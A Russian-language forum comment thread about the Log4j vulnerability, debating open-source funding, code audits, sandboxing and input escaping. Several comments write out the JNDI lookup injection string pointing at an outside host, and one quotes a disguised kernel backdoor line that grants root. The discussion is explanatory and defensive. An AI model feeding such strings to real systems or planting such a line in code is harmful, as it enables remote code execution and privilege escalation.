Comments 253
Ну это выходит что? Годами рассказываем что "любой может проверить и исправить", а когда нашлась дыра то "а это все мейнтейнеры проглядели!" и виноваты опять корпорации. А что и кто мешал за все это время провести аудит используемых библиотек куче фирм которые их используют? Выходит что коммерческие разработчики, тестировщики, их отделы иб, получающие вот эти огромные зарплаты, проверяющие свои продукты, и использующие данную библиотеку все равно проглядели? Ну так и что должно изменится если кто-то кому-то начнёт платить зп? С точки зрения безопасности кода выходит что ничего не изменится. А вот с точки зрения развития опенсорса - вообще непредсказуемо.
З.Ы. И давайте не путать "открытое" и "свободное" по.
А что и кто мешал за все это время провести аудит используемых библиотек куче фирм которые их используют? Выходит что коммерческие разработчики, тестировщики, их отделы иб, получающие вот эти огромные зарплаты, проверяющие свои продукты, и использующие данную библиотеку все равно проглядели?
Основная проблема в том, что такой подход требует невероятных затрат ресурсов для каждой из компаний. Десяткам тысяч компаний надо проверить тысячи библиотек и зависимостей, это практически невозможно. А вот если бы хотя бы по несколько специалистов от десятка (для дополнительной страховки) компаний проверили бы по одной зависимости, то суммарно эти тысячи компаний покрыли бы гигантский объем зависимостей. Но как организовывать распределение и проверять качество проверки - отдельный сложный вопрос.
такой подход требует невероятных затрат ресурсов для каждой из компаний
А кто им мешает объединяться и проверять подобные уязвимости сообща? Именно так работает опенсорс, но почему то огромным кампаниям это не под силу.
Где же проблема? В технической невозможности или в нежелании тратить ресурсы?
мешает приблизительно то же самео что обычным людям вести здоровый образ жизни.
Только масштабы чуть другие :-D
А кто им мешает объединяться и проверять подобные уязвимости сообща?
Равновесие "объединиться и проверять уязвимости сообща" неустойчиво: каждой отдельной компании выгодно выйти из такого объединения и бесплатно пожинать его плоды (ведь ПО — свободное!). Поэтому такого не будет никогда, в текущей модели свободного ПО.
Как сделать это равновесие устойчивым? Надо как-то компенсировать компаниям участие в таком объединении. Например, фонды открытого ПО могут сделать программу bug bounty, и платить любому, кто сообщит о баге (а лучше — сразу предложит решение). Сейчас, насколько я понимаю, фонды платят только постоянным мейнтейнерам.
А если прокопать всю систему причинно-следственных связей, т.е. полноценно и обстоятельно провести анализ корневых причин, что получится на верхушке айсберга? На верхушке будет "об этом же нужно думать, а потом думать, как сделать иначе, а потом договариваться и убеждать". Даже в ситуации c Log4j прослеживается зависимость "ощутили угрозу –> начали реагировать". А это, опять же, особенность работы мозга и психики.
Смысл не в угрозе, как одном из способов мотивации, а в необходимости мотива к расходованию мыслетоплива на непонятное. А ещё не учитывались эффекты от тотальной невыгодности качества, правды и справедливости в капитализме вообще, и западной культуре и традициях в частности. Т.е. снова приходим к одному и тому же: дело не в сложности и не в методах разработки ПО, а в людях, особенностях функционирования мозга и психики, в смысле и целей жизни. И предлагать вознаграждение за компенсацию деятельности, которая изначально должна быть, т.к. компании полуют за заявленную функциональность и качество, которые "с гнильцой", это всё равно что платить второй раз за уже оплаченную работу, не выполненную надлежащим образом.
А кто им мешает объединяться и проверять подобные уязвимости сообща?
Конкуренция.
Ну а как происходит (или должен происходить) аудит у всяких фбр/фсб , перед тем как софт получает соответствующий шильдик? Для меня это загадка, как, даже имея исходники, можно в тоннах кода разобраться, а потом еще и проанализировать его.
надо автоматизировать
есть же veracode, например
Нужно категоризировать сторонние библиотеки по критичности. Чем больше проектов использует (число загрузок или как-то еще), тем выше критичность.
Открыть некоммерческую организацию, целью которой будет провека наиболее критичных открытых библиотек. Или фонд открыть, который будет такие работы финансировать.
Для крупных компаний подписаться на финансирование фонда или НКО.
Факт проверки определенной версии библиотеки можно подтвержать цифровой подписью ответственной за проверку организации.
В менеджеры пакетов внедрить механизм контроля фактов проверки вервсий сторонних библиотек.
Более того, это может возглавить какая нибудь корпорация.
Типа мы, МС, заинтересованы в проверке критичных инфраструктурных проектов и безопасности наших клиентов, поэтому мы сделаем фонд, наймем людей, и они проведут аудит, фиксы и прочее в 500 самых распространенных библиотек и решений в ближайшие 5 лет и 2000 в течении 15.
Это всегда упирается в проблему "кто проверит проверяющего". Пока это делают люди, проблема не имеет технического решения.
Хорошее заявление, только разница между "не проверять вообще, авось нормально всё будет" и "проверить хоть как-нибудь силой трёх рабов за хлеб и воду" уже колоссальна. А если вместо трёх рабов будут отделы разаботки, QA, и манагер с плёткой(даже если плётка оббита мехом и вообще не больно), с таким решением можно даже жить-поживать и добра наживать. "Эточеловеки, человеки не идеальны" - известная информация, только от её известности мир лучше не становится: работать нужно с теми ресусрами в целом, и человеко-ресурсами в частности, котоыре имеются.
Вот бы был способ в одном месте указать, что функция логгирования не может использовать ничего для общения с внешним миром, кроме условного
writeFile…
Так было же вроде бы (сильно не уверен, потому что смотри следующее предложение). Но народ не осилил и не пользовался. Как я понимаю, сейчас это выглядит как-то так: https://openjdk.java.net/jeps/411
Если бы везде и всегда эта возможность был бы задействована - то вытащенный неизвестно откуда код просто бы не выполнился.
Все хуже. Нам же нужно контролировать не только походы в сеть, но и более гранулярно - к этому узлу можно, а к этому нельзя. Как это на уровне кода аннотациями описать ? Да и нужно ли ?
'К этому узлу можно, а к этому нельзя' в данном случае (да и вообще?) излишне. В данном случае было бы достаточно, чтобы срабатывало 'код, на котором нет нашей подписи, выполняться не должен'. А уж мы должны сделать так, чтобы на тех узлах, откуда можно, наша подпись стояла. Или явно дать разрешение на выполнение для той подписи, что там используется. Опять таки, понятия не имею, насколько гранулярно в современной Java экосистеме это делается, т.к. вопрос про подпись видел только когда Eclipse спрашивает 'а точно вот эту штуку из стора поставить?'
подпись не решает проблему модификации кода в памяти злоумышленником. Подпись решает проблему контроля загрузки кода - именно в момент начала выполнения. Поэтому любая защита должна быть многослойная.
Касательно того, почему мы хотим высокоуровнево определять ограничения для работы нашего приложения, а не более детализированно - к сожалению, от Вас не услышал. Т.е. в принципе это окей, хоть что-то. Но как показывает практика все подобные механизмы обычно имеют слишком низкую степень гранулярности. Например, как в Линуксе CAPs, в андроиде или яббле. Условно - если ты хочешь дать приложению доступ к галерее, то либо ко всей галерее, либо вообще никакого. А выбрать отдельные файлы - ни-ни (я тут немножко спекулирую, может все и не так плохо)
все подобные механизмы обычно имеют слишком низкую степень гранулярности.
Потому что они существуют отдельно от механизмом самого доступа, и получается необходимо полностью всё дублировать. Сделали интерфейс чтения файла - нужно сделать ещё одни такой же интерфейс проверки прав чтения файла, сделали интерфейс чтения разговора/сообщения/параграфа-в-соообщении форума - нужен параллельный интерфейс проверки прав. А потом весь это "shadow DOM" ментейнить. А гораздо более понятная проблема параллельной разработки кода и документации - тоже не до конца решена.
Тиритисски выход отсюда - capability-based OS. Когда "картинка в галерее" - это не просто абстрактный текст, путь к файлу, в объект включающий права доступа.
Аналогично как в функциональных языках убрали проблему null dereference вообще убрав null и заменив его option-типами (со своими, иными сложностями). Либо есть ссылка на объект и она валидна, либо нет.
Другой вопрос, что строить такую capability-based OS надо почти что с нуля, начиная со смутных академических идей, и выкинув все существующие ОС и приложения, в которые были вложены десятки лет и десятки тысяч человек.
Хотя в качестве демонстрашки вроде бы что-то такое даже поверх Windows делалось, с подменой системных диалогов "открыть/сохранить файл", что отправляя кому-то файл ты ему автоматически отправляешь и права на него. Подробностей не помню уже, вышел туда каким-то сильно кружным путём с обсуждения врождённых проблем GNU Hurd и потом через экспериментальные полу-коммерческиe ОС 2000-x (не взлетели).
Я тоже не понял в свое время, когда просто читая все по порядку на эту часть Java системы набрел. А после этого ни разу не сталкивался. Но например, товарищи из Elasticsearch, которые использование осилили, теперь пишут (выделение мое)
Supported versions of Elasticsearch (6.8.9+, 7.8+) used with recent versions of the JDK (JDK9+) are not susceptible to either remote code execution or information leakage. This is due to Elasticsearch’s usage of the Java Security Manager.
Раньше, очень давно, могла. Но технологию эффективно придушили где-то во времена перехода от Sun к Oracle.
Фокус в том, что библиотека логирования (или её следует считать уже целым фреймворком?) специально делается так, чтобы в пользовательский код не "протекали" знания о том, какие способы ведения логов существуют в программе и куда логи пишутся на самом деле.
Вот что реально бы помогло — так это простейшее разделение строк на "доверенные" (из конфига) и недоверенные (пришедшие из логируемого сообщения), чтобы нельзя было перепутать в каком порядке применять к ним преобразования. Но тут это надо специально делать, никакой компилятор не скажет "эй, вот в этой библиотеке строки не разделены!". Плюс, такое по производительности бьёт — ну не умеет Java в "бесплатные" обёртки, к сожалению...
Вы сейчас привели вообще не тот кусок кода, в котором была проблема в log4j.
Где тут гарантии что конкретная реализация MonadLogContext будет писать в файл, но не будет лезть в базу?
И как вы её дадите, если требованием к библиотеке является настраиваемые через конфиг логи?
Суть в том, что, с точки зрения кода, она может делать всё то IO-шное, что ей положено по документации (в том числе и ненужное для данного конкретного приложения). А вот что она делать реально будет - сказано в конфиге и читается в рантайме.
Ну, например, на то, будет ли она их писать, условно, в текстовый файл, в БД или куда-то отправлять по сети. А относительно исходной темы - будет ли она ходить за какой-то компонентой логов на внешний сервис, или опираться только на непосредственные входные данные.
То есть, чтобы поправить конфигурацию логгера - нужно влезть в код и перекомпилировать систему? Я-то только за (причём независимо от содержания конфига - даже если он по своей сути безобиден, действительно удобнее, когда он тайпчекается), но, полагаю, со мной здесь согласятся немногие, особенно заказчики, которые хотят иметь самостоятельный контроль над подобными вещами.
В код в любом случае лезть придётся, и неважно, XML-конфиг это или .hs-файл — всё равно по-хорошему надо прогонять через CI, деплой, и так далее.
По-хорошему - может быть. А по факту - заказчик поправил текстовый файл в любом редакторе, сделал systemctl restart, и готово, и нас отвлекать от новых фич не надо.
Если вам надо писать логи в файл, только в файл и только в один файл — вероятно, вам вообще нафиг не нужен log4j-подобный фреймворк. Log4j подключают не ради простой записи в файл.
Именно в этом куске кода никаких гарантий нет.
Смотрите, с точки зрения фреймворка логирования, у программы есть разные компоненты:
А) Сама программа
Б) API фреймворка
В) Ядро фреймворка
Г) Подключаемые плагины для ведения логов
Вы сейчас упорно пытаетесь наложить ограничение на компонент А через типизацию компонента Б. А обсуждаемая ошибка — она вообще в компонентах В и Г. Их ваш MonadLogContext вообще никак не затрагивает!
А теперь поясню задачу ещё немного. Вот смотрите, у нас есть строчка ${jndi:ldap:example.com/bla-bla-bla}. Если эта строчка встретилась в конфиге — библиотека обязана пойти на example.com, загрузить оттуда кусок кода и выполнить его. Если эта строчка была передана из компонента А — библиотека обязана никак не интерпретировать её.
Так вот, я знаю способ так типизировать В, чтобы плагины из Г автоматически этому условию удовлетворяли — всего-то нужна пара newtype. Но вот какой компилятор заставит вас эти newtype написать, если программа прекрасно работает и без них?
какие вообще нафиг плагины для логгинга?
Очень простые. Три базовые фичи любой продвинутой библиотеки для ведения логов — запись в консоль, запись в файл, запись по сети в какой-нибудь syslog. Последняя фича автоматически означает, что вы не сможете запретить работать с сетью и делать там что угодно.
И я не накладываю (и не хочу накладывать) ограничения на всю программу (в контексте логирования), а накладываю ограничения на то, что этот фреймворк вообще может делать.
И у вас этого не получилось. Потому что ваш MonadLogContext реализуется компонентом В и там может оказаться, потенциально, любая фигня которую вы проглядите если будете смотреть только на контракт.
Поэтому и ваш соседний комментарий не очень релевантен — вы смотрите с позиции фреймворка логгирования, а надо с позиции его пользователя.
Я смотрю с позиции архитектуры.
Да, вот вам описание проблемы на Хаскеле, если русский язык вам уже непонятен...
И так, дано:
data Message = ...;
type Layout = Message -> IO String
type LayoutParser = String -> Either ParseError LayoutТак вот, тот String, который на выходе Layout, ни в коем случае не должен оказаться на входе LayoutParser, иначе быть дыре.
topLevelLayoutParser :: LayoutParser
-- нормально
goodLayout :: Layout
goodLayout message = pure $ show message
-- то что сотворили в log4j2
badLayout :: Layout
badLayout message = (fromRight $ topLevelLayoutParser $ show message) messageВот какой компилятор вам подскажет, что в библиотеке логирования есть badLayout?
Т.е. это прямо таки признание, что зависимости не находятся под учётом, контролем и управлением? А ещё, что нет исходных данных о всех зависимостях, к которым возможно применять стандартные методы обхода графов, поиска на графах, чтобы решать стандартные задачи проверки? А это означает, что разработка ПО не технологична и не ведётся от осознанной потребностей через требования и проектные/архитектурные решения? Т.е. что не учтена каждая деталь конструкции, и невозможно проследить вызываемые ею эффекты?
Тогда это уже кризис индустрии, а не только лишь корпораций, открытого кода и выгорания людей на поддержке проектов. А ведь в 2000-ых очень активно росли проекты и стандарты, превращающие разработку ПО в действительно промышленную индустрию, где нет случайных, непроверенных, непросчитанных и неописанных элементов. И в этом росте принимали участие многие корпорации. Куда всё это делось и почему не применяется?
Почему до сих пор разработка ПО, в подавляющем большинстве случаев, выглядит как "что вижу – то пою"? А когда применяешь элементарные методы анализа и систематически перечисляешь случаи, банально посчитав результат декартового произведения, тут же находятся борцы за эффективность, цену и трудозатраты, отказывающиеся не то что исправлять ошибки, но даже признавать сам этот подход к обработке случаев в ПО и каких-либо системах вообще? И потом читаем рассуждения на тему "если бы программисты строили высотки/мосты ...".
А когда применяешь элементарные методы анализа и систематически перечисляешь случаи, банально посчитав результат декартового произведения, тут же находятся борцы
правильно, потому что ПРАВИЛЬНАЯ разработка с учетом всех описанных Вами идей - будет дорогая. Как в авиации, автомобилестроении, медицине и прочем. А в бизнесе сидят управленцы, которым нужны результаты здесь и сейчас, а завтра у них золотой парашют. Если все участники процесса не будут времянщиками, то все будет ОК.
Давайте по чесноку: вы видели, кто и как проверял, что "будет дорогая"? Видели исследования, сравнивающие ваш "традиционный" вариант с "правильным" по стоимости и времени для компании-разработчика, для пользователей и для индустрии в целом? Сами делали хоть раз по "правильной" технологии серию проектов? Посмотрите такие исследования (пусть даже старые): это действительно интересно и развенчивает многие мифы.
Такие исследования проводили неоднократно профильные институты, университеты и консалтинговые компании на Западе, как минимум. Одно соотношение лишь назову, как самое показательное: стоимость изменения требования или исправления ошибки в нём соотносится со стоимостью всех последующих операций как от 1:10 до 1:34. Т.е. затратив лишь одну условную единицу на проработку/изменение требования, экономится от 10 до 34 условных единиц последующих операций процесса разработки (т.е. включая выкатку в пром. эксплуатацию и доведение изменений до ума пользователей). А уж сколько стоит содержать службу поддержки, чтобы она "подтирала" после "традиционной" технологии разработки и блокировала обратную связь от пользователей к разработчикам, даже сложно оценить.
Каким же образом разработка по "правильной" технологии при таком соотношении может быть "дорогой"? Отмазки "дорогая" применяются тогда, когда эти самые управленцы просто не могут работать по "правильной" технологии, как и некоторые (или даже все) участники команды. Потому что для этого действительно требуется существенно бОльший поток мыслетоплива на преодоление и устранение неизвестного и неопределённостей, не говоря уже об инструментарии, методах и технологиях. Банально – приходится больше думать раньше, зато кратно меньше делать потом и переделывать. Особенно когда требуется проверить потребность в функциональности и варианты реализации.
Я имел возможность участвовать в подобном эксперименте не по своей воле. Один раз, может и не показатель, но всё же, получил примерно схожее соотношение. Одна и та же комплексная задача решалась мной вместе с контенщиком ("мои" средства, "мои" методы, "мои" технологии) и конкурирующей командой из 12 человек (из которых минимум 2 менеджера разного уровня) на 1С и Битриксе. Вместе с контенщиком мы решили задачу за 2 месяца с полным набором изначально требуемой функциональности и набором всех данных из существующей торговой системы. Без всяких отмазок и упрощений, отмены требований или искажения данных.
Конкурирующая команда делала задачу год. И существенный ряд требований воплотить не смогла. У неё проблемы начались от уровня самих методов бизнес-процессов: она не могла их даже разработать. В результате, всё равно внедрено решение конкурирующей команды, а его работу обеспечивает ежедневно человек, правящий данные, поступающие в документах поставщиков (время на это оплачивается).
При этом конкурирующей командой не решены принципиальные вопросы типа контроля сделки/поставки по выгодности и условиям, ненужности переоценки товара (т.к. от разных поставщиков и цена меняется со временем), операций с комплектами (типа приёмки/отгрузки по ТСД) и много чего ещё, не говоря уже о возможности настраивать произвольные коммерческие условия с любой формулой ценообразования из любого требуемого набора компонент для последующего расчёта цены товарного предложения от поставщика и выбора наилучшей с учётом комплектов (на которых хорошие скидки, обычно). В этом процессе сложность в решении комбинаторной задачи размещения заказов покупателей по товарным предложениям поставщиков с учётом собственных остатков (с фактическим ценами закупки), остатков поставщиков (которые не всегда синхронизированы и верны) и сроков поставки.
Ещё раз: 2 человека за 2 месяца против 12 человек за год. Я просто работал по "правильной" технологии разработки, ничего гениального или сверхсложного не делал, и ни на какой "подвиг" никак не претендую. В БД порядка 12 таблиц, включая функциональность склада, которая у конкурирующей команды уже была в "1С:Управление торговлей" (правда, без возможности хранить с остатками фактические цены закупки по поставкам и списывать остатки "эффективно").
Вывод: утверждать что дороже, а что дешевле можно только после объективного эксперимента с учётом действительно всех затрат по всему жизненному циклу продукта от идеи/потребности до вывода из эксплуатации. А т.к. такой эксперимент мало кто проводил (ведь для этого потребуется овладеть "правильной" технологией разработки), куда проще и легче сказать "будет дорогая", чтобы случайно не столкнуться с опровержением и необходимостью переучиваться.
Вы абсолютно правы. И это нисколько не противоречит моим ощущениям. Вы прекрасно отметили, что некоторые управленцы являются временщиками. И им нужно получить результат здесь и сейчас. Например, чтобы получить сиюминутно премию. Соответственно, что будет завтра их не особо волнует. Это типичная проблема красной корпоративной культуры.
Второй аспект - это всякие стартапы. Когда требования на входе вообще непонятны. И непонятно - стоит ли тратить силы на делать хорошо, чтобы проект завтра похоронить (закрыть). Это, конечно, не повод не идти по процессу и делать из рук вон плохо, но точно никто не будет вкладываться со стороны заказчиков. Ну, или я опять же видел проекты, которые были закрыты, потому что топы, которым они были нужны, ушли из компании. А у новых топов новые цели и новые волевые решения. Поэтому все немножко сложнее.
Ну, и хорошим специалистам ( мне в том числе, надеюсь) платят за то, чтобы предвидеть Потенциальные проблемы в будущем. И это сильно более оплачивается, чем "простое" решение задач.
Вывод: утверждать что дороже, а что дешевле можно только после объективного эксперимента с учётом действительно всех затрат по всему жизненному циклу продукта от идеи/потребности до вывода из эксплуатации.
Опять же - полностью согласен, что картинку нужно рассматривать целиком. Но, к сожалению, реальность можно оценить уже только пост-фактум, когда все затраты посчитаны. И опять же на разных этапах развития ИС, пока не поставлена жирная точка, ощущения от разных этапов могут быть разные. Легко можно представить систему, которую собрали из говна и палок, зато дёшево, но она стала есть кучу денег в поддержке..
Это не просто дорого, это нереалистично дорого.
разработка ПО не технологична и не ведётся от осознанной потребностей через требования и проектные/архитектурные решения
да ладно!
А как же аджайл и всё такое? Тут свой-то код отладить/оттестить некогда — в прод пора, всё уже подписано! Вот и глядишь на то декартово произведение и думаешь, что именно можно успеть…
Да, кому-то, кто будет первым и кому не плевать на надежность своего продукта — вынужден будет потратиться, но это лучше чем каждый для себя проверять будет и надежнее/реалистичнее чем пытаться кооперировать корпорации ИМХО.
Как раз организовать несложно - нужно для всего опенсорса устроить цифровую подпись вида "аттестацию прошел, проверил: %name% из %companyname%" (ну т.е. для каждой отдельной сущности). Сложно это договориться что бы сотрудники крупных компаний (которые опенсорсом пользуются) занимающиеся этим самым имели свободное оплачиваемое время на такую вот деятельность.
коммиты подписывать можно же уже. Релизы/сборки тоже подписывать можно.
В чём сложность добавить подпись именно от компании к версии? Вон, всякие госуровня приложения подписываются же тоже на конкретную версию...
Я недостаточно четко выразился, наверное.
Надо что бы не прошедшие через чей-либо аудит релизы явно выделялись, может даже вплоть до того что бы помечались как "потенциально небезопасные".
Хотя, чувствую, большинство будет просто игнорировать.
А сложность именно в том что бы бы этот аудит производили компании которые этой штукой пользуются. А не, к примеру, сидели по углам и осуждающе-выжидающе смотрели друг на друга.
коммерческие разработчики, тестировщики, их отделы иб
1 - они должны делать бизнес фичи, а не опенсорс рефакторить
2 - они должны тестировать бизнес фичи, а не опенсорс
3 - ну вот эти, возможно, и просмотрели
> Сеньор эникей
Админ, который предложил, лично должен был проверить и не на хабре писать.
они выбрали ОперСорц почему? Потому что посчитали, что это дешевле. Им же бизнес фичи пилить надо, а писать логер это скучно и денег не принесёт. А теперь пытаются свой просчёт спихнуть на разработчиков ОпенСорца работающих за идею. Дак никаких проблем. Пилите свой логер. Но нет мы не хотим свой логер, мы хотим бесплатный и надежный.
Дык написали же - отсутствие материальной поддержки и, как следствие, мотивации что-либо проверять. И про корпорации написали, что если бы они хотя бы малую часть прибыли направляли на опенсурс - эта самая мотивация появилась бы
Ну так и что должно изменится если кто-то кому-то начнёт платить зп?
Можно будет обвинить получателя этих денег в том что это он во всём виноват. А еще и высокооплачиваемый специалист, называется.
Грубо говоря, одна строчка в адресной строке браузера у школьника кладёт сервер
Уж сколько раз твердили миру..
P.S. Уже подсуетились
>Злоумышленник просто направляет Java-приложение жертвы на вредоносный rmi/ldap/corba-сервер и получает в ответ произвольный объект.
А на самом-то деле — нечего приложению делать на вредоносном сервере где-то в интернете. Поэтому, как минимум, должен быть белый список тех IP, с которыми можно работать, если уж мы зачем-то лезем в интернет, на сервер другой компании. Их адреса должны быть заранее известны. То есть, способ предотвратить такую атаку в принципе — простой и рутинный, закрыть файрволом исходящие соединения. И он давно известен. Просто это не одно мероприятие, а комплекс мер (в том числе и экранировать тоже — экранировать кстати не так просто, если у вас несколько «языков» выражений внутри).
Что значит "злоумышленник направляет"?
То, что он тем или иным способом передаёт внутрь программы хитрым образом сконструированную строку, которую log4j воспринимает как команду.
Тётенька всё правильно сказала: "научитесь экранировать входящие данные". Именно это и есть решение. А "закрыть файрволом" - это, конечно, сработает, но это уже "заарканить выбегающую из незапертой конюшни лошадь" вместо того, чтобы тупо закрыть дверь в конюшню.
>Именно это и есть решение.
Так в том-то и дело, что это не такое простое решение. На его реализацию нужно время. А если у вас два языка, которые надо экранировать — то и не такое простое. Ну вот для ясности — вы точно понимаете, как экранировать ${jndi:ldap...}? Я вот даже пытался документацию log4j полностью перечитать ради такого — но этого не хватает, нужно в код лезть. Там же есть много видов этих самых выражений, и некоторые из них теоретически могут оставаться легальными (хотя я бы, честно говоря, запретил бы все их виды).
Хитрым образом сконструированная строка заставляет наше приложение сходить в интернет (неизвестно куда), взять там некий неизвестный класс, и выполнить его метод. Но в нормальных условиях приложению нечего делать на том сервере, и незачем брать там классы.
В нормальных условиях "хитрым образом сконструированная строка" должна быть заэкранирована на входе, и до парсера log4j тупо не дойти.
Так в том-то и дело, что это не такое простое решение. На его реализацию нужно время.
Мы про разные вещи говорим. Вы рассказываете, как исправить уже возникшую у вас на сервере проблему. А я рассказываю, каким образом можно было бы не допустить возникновения этой проблемы — и сейчас не пришлось бы ничего исправлять.
вы точно понимаете, как экранировать ${jndi:ldap...}
Например, %24%7Bjndi%3Aldap...%7D
Да, разумеется. Так у нас с начала декабря именно такая ситуация у всех была и есть. Когда выяснилось, что потенциальные проблемы, там и сям, непонятно где. И именно сейчас мы все еще ровно в такой ситуации. И уязвимости, в моем например случае, в коде систем и фреймворков, которые временами сильно сложнее, чем скажем мое приложение, и уязвимы сторонние приложения (в том числе — от той же Apache Group).
Мне кажется, мы говорим в общем-то про одно — как не допускать уязвимостей. Я думаю, что это комплексная проблема, решение которой включает в себя многое. В том числе — предлагаемую вами санацию всех входящих данных, которую я вовсе не отвергаю — просто она временами далеко не тривиальна.
>Например, %24%7Bjndi%3Aldap...%7D
Так а что делаем с остальными видами выражений (а их там десятки, кажись)? А если это был ${jndi:ldap:localhost} — мы его тоже того? В общем, я хотел сказать, что тут есть о чем подумать — и пока мы будем думать, может проще таки дустом его (файрволом, в смысле)?
А если это был ${jndi:ldap:localhost} — мы его тоже того?
Вообще-то да, надо и его тоже того. Иначе однажды через эту дырку тоже кто-нибудь пролезет.
Ну т.е. не то чтобы я был против того, чтобы вообще эту фичу запретить (оставив возможно доступ из конфигов, как было бы логично) — мне просто последствия не очевидны с ходу. То есть, не сломаются ли легальные способы использования.
Если вы используете jndi:ldap (а вы его используете, иначе зачем вообще его включать?) — значит, в вашем LDAP где-то лежат пригодные к использованию классы (или ссылки на них, это неважно). Не все эти классы могут оказаться безопасными к использованию в любом контексте. Если там лежит класс, который небезопасен при использовании в логах — то атакующий может "нащупать" его и провести атаку.
Я — нет. Более того, я почитал тут jira, по которой его создали, и мне непонятна мотивация тех людей, которые это написали. Поэтому и легальные случаи использования мне лично не очевидны. Там в качестве мотивов приводится необходимость писать код, и класть в контекст логирование некие данные — и автору этого не хочется. Мягко говоря, это недостаточный повод, чтобы создать дыру в безопасности такого размера.
>Если там лежит класс, который небезопасен при использовании в логах
Ну так остальные лукапы в этом смысле ничуть не лучше. В целом эта дыра позволяет вызывать некий обширный набор классов из логирования таким способом, который авторы не ожидают. В этом смысле не опубликованные в JNDI классы даже хуже — потому что в JNDI все же как правило кладут сервисы, про которые ожидается, что их будут вызывать извне. А тут можно дернуть класс, который в обычной жизни получает санированные данные, а к произвольным окажется не готов.
Такое ощущение что этот функционал был написан по принципу "шоб було" и "смотрите какая прикольная фича у нас поддерживается в логгере" и об безопасности написанного в этот момент даже не задумывались.
З.Ы. А вобще известно уже, кто автор этой "фичи"?
>А вобще известно уже, кто автор этой «фичи»?
Боюсь что тут больше одного автора приложило руки. Одна jira тут прямо упоминалась, но сам по себе jndi лукап не создал бы такой дыры, если бы его можно было употреблять только из конфига. А кто придумал разрешить вычислять эти выражения над данными — я не знаю. Хотя тоже интересно бы поглядеть в глаза этому человеку.
В принципе, это не так сложно выяснить. Гитхаб в наличии, где примерно искать — понятно. Есть свежие коммиты, которые меняют умолчания с «включено» на «выключено» — так что почти с точностью до строки известно, кто это первоначально включил.
И что с ним делать дальше? Извалять в смоле и перьях, на позор опенсорс-сообществу?
Я все же склоняюсь к тому, что это коллективное творчество. И скорее похоже на то, что над архитектурой особо никто не думал, когда фичи новые пилили. Если бы цель была придумать просто дыру — это можно было бы сделать и попроще.
Собрать всех, приложивших руку к ошибке, запереть в комнате, и не выпускать, пока они не разберутся, кто виноват, и не убьют его сами.
Кстати в 1.2.х вроде как оная фича тоже работает, но только если юзать для логов JMSAppender.
З.Ы. Сам тоже все еще на первой ветке сижу. В целом то не проблема перейти на вторую или на logback, т.к. для работы с логами используется прослойка в виде slf4j и переход на другую библиотеку логгирования особо ничего переделывать не потребует, но просто пока все работает по принципу "работает? значит не трогай" :) тем более ничего в логгер такого не идет, куда бы могло попасть что-то передаваемое пользователями.
>В целом то не проблема перейти на вторую или на logback
Ну тут как посмотреть. У нас уязвимой оказалась Hive, а сами мы при этом сидим на log4j 1.2.*. А перевести Hive на logback — это уже задачка другого масштаба, подсунуть им правильную версию — это еще куда ни шло (хотя в наших масштабах пропатчить сотни серверов — тоже то еще развлечение).
Мы перешли на logback чтобы и есть возможность автосжатия логов при ротации
Боюсь что тут больше одного автора приложило руки. Одна jira тут прямо упоминалась, но сам по себе jndi лукап не создал бы такой дыры, если бы его можно было употреблять только из конфига. А кто придумал разрешить вычислять эти выражения над данными — я не знаю. Хотя тоже интересно бы поглядеть в глаза этому человеку.
Я подозреваю, что 'тот человек' просто не вспомнил что обращение к jndi может откуда-то код вытащить да еще его и исполнить. И грабля тут положена, если честно, еще в тот момент, когда, собственно, jndi делали. В котором с проверкой типов плохо. По хорошему такие вещи должны бы посылать 'тут мы хотим взять строку из...' еще на этапе компиляции.
З.Ы. А вобще известно уже, кто автор этой "фичи"?
Предлагаете четвертовать на три неравные половины?
я почитал тут jira, по которой его создали, и мне непонятна мотивация тех людей, которые это написали.
Чего тут понимать — насколько спорим, что кто-то в какой-нибудь NSA премию за этот тикет получил?
А в этом и заключается высший пилотаж в закладывании дыр: чтобы с первого (и со второго) взгляда не выглядело, как закладка — помните, лет 10 назад был скандал: неизвестные взломали какой-то там репозиторий и запостили мааааленький такой коммит, что-то вида (псевдокод) if (some_special_conditon) && (active_user.id = 0) { log("some_special_conditon shouldn't be used by root!") } — с первого взгляда всё выглядит нормально, а с третьего становится понятно, что если воздействием на систему организовать, чтобы some_special_conditonбыло true, то этот код делает текущего юзера рутом.
Я вот так сходу ни одного и не припомню, про который было бы точно было известно, что он сознательно оставлен.
Ну вот я Вам один привёл. Или Вы хотите сказать, что "отхачили сервер и вборосили свой коммит" по пьяни?
Чисто статистически, в тупой баг по недомыслию верится изначально больше, чем в супер-пупер хакеров АНБ/ФБР/ФСБ, нанявшихся в Apache Group, чтобы хакнуть log4j. Слишком сложный план, как по мне, если сравнивать с Heartbleed.
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;Например, %24%7Bjndi%3Aldap...%7D
Но тогда в логах и записано будет %24%7Bjndi%3Aldap...%7D, а надо бы чтобы туда записалось ${jndi:ldap...}
Собственно, в log4j2 оказался сломан вовсе не модуль JNDI, а часть отвечающая за разделение входных данных на "чистые" и "грязные".
А что нам мешает просто делать обратное преобразование, когда нам понадобилось прочитать логи ?
и как понять, что это было "преобразование для защиты" или именно такую комбинацию символов положили изначально в лог?
Эм, если Вам это не очевидно, то напишу открытым текстом: экранироваться должны ВСЕ входящие данные.
А если Вам сильно припёрло эти логи почитать, то просмотровщик их (прозрачно для Вас) разэкранирует, и Вы даже и не замечаете, что там что-то внутрях экранировалось. Если только Вам не приспичило открыть капот и залезть внутрь — но в такоем случае ССЗБ.
просмотровщик их (прозрачно для Вас) разэкранирует
То есть, нам теперь нужна специальная программа для того, чтобы смотреть обычный текстовый файл?
То есть, нам теперь нужна специальная программа для того, чтобы смотреть обычный текстовый файл?
Вам чего взвесить: удобства или безопасности?
А некоторы языком умываются hex-коды в голове разэкранировать умеют.
Если вам интересна безопасность, то не эскейпингом логов заниматься надо, а выпилить к чертям саму возможность выполнять код в лог сообщениях.
"можно так" (c)
Это противоречит идее текстовых логов.
Если сразу настраиваться на специальный просмотрщик — надо и писать структурные логи.
В нормальных условиях "хитрым образом сконструированная строка" должна быть заэкранирована на входе, и до парсера log4j тупо не дойти.
Вы шутите? Это логгер. Он предназначен для того, чтобы плюнуть туда любую строку и она попала в лог-файл as is.
Он предназначен для того, чтобы плюнуть туда любую строку и она попала в лог-файл
as isтаким образом, чтобы всегда можно было получить исходную.
There. Fixed that for you.
Это Ваше требование "as is" — оно или от лени, или от непонимания.
